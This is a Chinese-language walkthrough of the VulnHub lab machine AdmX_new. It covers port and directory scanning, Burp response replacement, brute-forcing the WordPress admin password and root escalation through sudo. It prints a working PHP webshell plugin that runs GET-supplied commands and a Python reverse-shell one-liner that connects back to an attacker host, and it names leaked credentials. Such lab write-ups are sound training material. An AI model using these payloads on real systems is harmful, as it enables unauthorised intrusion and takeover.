AdmX_new

0x00前言

因为环境问题,此次靶场都放在vm上。都为NAT模式。

靶机地址: https://download.vulnhub.com/admx/AdmX_new.7z

需要找到两个flag文件。

0x01信息搜集

搜集IP

确认目标IP为172.16.8.131,进一步信息搜集

获取端口开放情况,版本信息等等。

发现目标有80 端口开启。可以去看看。

发现没有什么功能点,然后直接目录扫描。

发现关键词WP 去查看。发现新页面

点击标签发现会自动跳转,一个网址,通过查看数据包代码里已经把IP地址写死了。但是可以利用BP来将响应包的数据替换掉。

0x02响应包替换。

添加两条规则即可。

替换后,(在浏览器上使用插件要把本地的规则放开,让BP能抓住本地网络的数据包)

看了一圈没有什么可疑的地方,继续信息搜集。

发现admin路径,

经过测试发现。输入admin和输入其他是不一样的所以由此判断。用户名为admin.

直接爆破密码即可。adam14

0x03反弹shell

成功进入后台。

通过上网搜集资料发现 可以通过插件,主题,media等功能点上传木马来进行getshell.

在插件编辑功能点发现了php代码但是不能保存。

上传的文件必须是zip文件还得要符合规则

复制代码
<?php
/**
* Plugin Name: Shell
* Plugin URI: https://x.github.io
* Description: WP Webshell for Pentest
* Version: 1.0
* Author: kalpa
* Author URI: https://x.github.io
* License: https://x.github.io
*/

if(isset($_GET['cmd']))
{
    system($_GET['cmd']);
}
?>

把上面的文件写入php文件,打包成zip上传即可。

然后把插件激活即可。

http://172.16.8.131/wordpress/wp-content/plugins/shell.php?cmd=whoami

访问上面的命令即可命令执行。

然后尝试反弹shell.本次使用python反弹shell.

python 复制代码
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("172.16.8.132",2222));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'

反弹成功。

0x04提权

信息搜集,尝试提权。

进入/etc/passwd 查看

发现一个wpadmin用户。去用户目录查看

发现需要wpadmin 有一个txt可能是flag文件。尝试以wpadmin登陆

在wp的配置文件中找到了。如下信息。

尝试连接数据库。 无果。

最后使用登陆 wordpress的密码成功登陆 wpadmin.

0x05二次提权。

尝试把权限提升到root.

sudo提权 使用之前获取到的数据库密码尝试提权。

进过测试发现可以直接使用系统命令。

0x06 拿到第二个flag

0x07总结

靶场用到的一些技术点:BP替换响应包,wordpress框架的测试,sudo提权。

相关推荐
B2_Proxy1 天前
IP 来源合规性,正在成为全球业务的隐性门槛
网络·爬虫·网络协议·安全
Yana.nice1 天前
openssl将证书从p7b转换为crt格式
java·linux
AI逐月1 天前
tmux 常用命令总结:从入门到稳定使用的一篇实战博客
linux·服务器·ssh·php
想逃离铁厂的老铁1 天前
Day55 >> 并查集理论基础 + 107、寻找存在的路线
java·服务器
小白跃升坊1 天前
基于1Panel的AI运维
linux·运维·人工智能·ai大模型·教学·ai agent
MMME~1 天前
Ansible Playbook高效自动化实战指南
网络·自动化·ansible
跃渊Yuey1 天前
【Linux】线程同步与互斥
linux·笔记
数据安全科普王1 天前
从 HTTP/1.1 到 HTTP/3:协议演进如何改变 Web 性能?
网络·其他
杨江1 天前
seafile docker安装说明
运维
舰长1151 天前
linux 实现文件共享的实现方式比较
linux·服务器·网络